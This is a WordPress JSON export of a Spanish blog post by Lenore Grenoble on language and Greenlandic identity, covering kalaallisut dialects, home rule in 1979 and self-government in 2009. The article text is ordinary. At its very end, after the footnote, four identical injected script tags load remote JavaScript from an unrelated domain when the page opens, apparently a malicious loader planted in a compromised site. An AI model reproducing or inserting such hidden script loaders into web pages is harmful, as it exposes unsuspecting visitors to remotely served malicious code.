{"id":66732,"date":"2015-09-04T22:30:48","date_gmt":"2015-09-04T20:30:48","guid":{"rendered":"http:\/\/www.sorosoro.org\/?p=66732"},"modified":"2025-10-21T21:59:37","modified_gmt":"2025-10-21T19:59:37","slug":"lengua-e-identidad-en-groenlandia","status":"publish","type":"post","link":"https:\/\/www.sorosoro.org\/es\/2015\/09\/lengua-e-identidad-en-groenlandia\/","title":{"rendered":"Lengua e identidad en Groenlandia"},"content":{"rendered":"<p><span style=\"font-size:12px\">Publicado por Lenore Grenoble el November 15, 2011<\/span><br \/>\n&nbsp;<br \/>\n<em>Por Lenore Grenoble, Profesor de ling\u00fc\u00edstica eslava, Universidad de Chicago.<\/em><br \/>\n<div id=\"attachment_2550\" style=\"width: 510px\" class=\"wp-caption aligncenter\"><img decoding=\"async\" aria-describedby=\"caption-attachment-2550\" class=\"size-full wp-image-2550\" title=\"Groenland\" src=\"\/wp-content\/uploads\/5761184551.jpg\" alt=\"Groenland\" width=\"500\" height=\"auto\" \/><p id=\"caption-attachment-2550\" class=\"wp-caption-text\">Groenlandia &#8211; (cc) destination arctic circle<\/p><\/div><\/p>\n<p>Un estudio realizado en 2009 demostr\u00f3 que la gran mayor\u00eda de los groenlandeses consideran la lengua como una parte cr\u00edtica de su identidad.[1]Por \u201clenguaje\u201d sin duda se refieren al groenland\u00e9s o kalaallisut, como llaman sus  hablantes a la lengua ind\u00edgena de Groenlandia. El groenland\u00e9s pertenece a la lengua inuit y cuenta con tres dialectos principales en Groenlandia: septentrional (inuktun o avanersuarmiutut), oriental (tunumiisut) y occidental (kalaallisut). El  groenland\u00e9s occidental (kalaallisut) conforma la base de la lengua oficial est\u00e1ndar. Es la lengua utilizada en los medios de comunicaci\u00f3n (radio, peri\u00f3dicos y televisi\u00f3n) y es el empleado en escuelas y colegios, gobierno y administraciones.<\/p>\n<p>La lengua ha sido el punto principal de los asuntos de identidad y autonom\u00eda en Groenlandia durante muchos a\u00f1os. Aunque Groenlandia a\u00fan pertenezca oficialmente al Reino de Dinamarca, ha realizado continuos avances en temas de legislaci\u00f3n con el fin de tener un mayor poder en todos los \u00e1mbitos, incluido el de la lengua. En 1979, la Ley 65 garantizaba la Ley de Autogobierno de Groenlandia, concedi\u00e9ndola una mayor independencia y, entre otras cosas, hizo del dan\u00e9s y del groenland\u00e9s lenguas co-oficiales. El cambio de lengua fue una de las principales razones que se escond\u00eda tras la Ley de Autogobierno: los l\u00edderes pol\u00edticos y activistas observaron que hab\u00eda un cambio de direcci\u00f3n en favor del uso del dan\u00e9s en la d\u00e9cada de los 60 y lucharon por cambiar esa tendencia.<\/p>\n<p>Estos esfuerzos a\u00fan contin\u00faan. En 2008, Groenlandia adquiri\u00f3, tras la celebraci\u00f3n de un refer\u00e9ndum, una mayor autonom\u00eda. Cambios y reformas por parte del gobierno se llevaron a cabo en el a\u00f1o siguiente. Cuando el Gobierno propio asumi\u00f3 el poder el 21 de junio de 2009, el Primer Ministro KuupikKleistdestac\u00f3 la importancia de la lengua en su discurso de inauguraci\u00f3n:<\/p>\n<p>Hoy es un d\u00eda especial e importante porque, hoy, nuestra lengua, el groenland\u00e9s, se ha convertido en nuestra lengua oficial. No se puede separar lengua e identidad, por eso debemos trabajar duro para garantizar el uso de nuestra en lengua en la vida cotidiana.<\/p>\n<p><a href=\"http:\/\/uk.nanoq.gl\/~\/media\/332e97d7fc7e4cf5acc97c112aefa371.ashx\" target=\"_blank\">http:\/\/uk.nanoq.gl\/~\/media\/332e97d7fc7e4cf5acc97c112aefa371.ashx<\/a><\/p>\n<p>Uno de los resultados es el esfuerzo, firme y continuo, para adoptar el uso del groenland\u00e9s en todos los \u00e1mbitos. Esfuerzos promovidos por el Comit\u00e9 de la Lengua groenland\u00e9s (Oqaasiliortut),creadoen 1979 como ente oficial del Gobierno local.<\/p>\n<p>Los groenlandeses est\u00e1n profundamente comprometidos con su lengua y son sus mayores defensores. El groenland\u00e9s es la \u00fanica lengua ind\u00edgena hablada en el \u00c1rtico cuyo n\u00famero de hablantes no deja de crecer. A los ni\u00f1os se les educa en groenland\u00e9s y esto se aplica a todas las generaciones y \u00e1mbitos (una excepci\u00f3n parcial es en la educaci\u00f3n superior en la que el dan\u00e9s sigue emple\u00e1ndose. El desarrollo de los materiales pedag\u00f3gicos necesarios y la formaci\u00f3n del profesorado son los principales objetivos que se deben alcanzar para obtener un equilibrio ling\u00fc\u00edstico en este aspecto.)<\/p>\n<p>Resulta dif\u00edcil encontrar actualmente a un groenland\u00e9s sin un profundo sentido de la lengua. Uno de los retos al que debe enfrentarse el pa\u00eds es la posici\u00f3n del groenland\u00e9s en el mundo. La respuesta que m\u00e1s he escuchado es \u201cmultiling\u00fcismo\u201d, con la idea de que los groenlandeses deben saber kalaallisut para vivir en Groenlandia, dan\u00e9s porque forman parte del Reino de Dinamarca e ingl\u00e9s para formar parte de la econom\u00eda y pol\u00edtica global as\u00ed como del mundo intelectual. Al pensar en el futuro, los groenlandeses se esfuerzan por mantener su identidad inuit dentro de su estatus de ciudadanos de un mundo moderno. La lengua es el componente principal de esta identidad.<\/p>\n<p>[1] Poppel, Birger. 2009. Levevilk\u00e5r i Gr\u00f8nland (6) \u2013 Det gr\u00f8nlandske sprog \u2013 en status ved<\/p>\n<p>Selvstyrets indf\u00f8relse. Sermitsiaq 14 July 2009.  <a href=\"http:\/\/sermitsiaq.gl\/kronik\/article90103.ece\" target=\"_blank\">http:\/\/sermitsiaq.gl\/kronik\/article90103.ece<\/a><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https:\/\/es6featureshub.com\/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Publicado por Lenore Grenoble el November 15, 2011 &nbsp; Por Lenore Grenoble, Profesor de ling\u00fc\u00edstica eslava, Universidad de Chicago. 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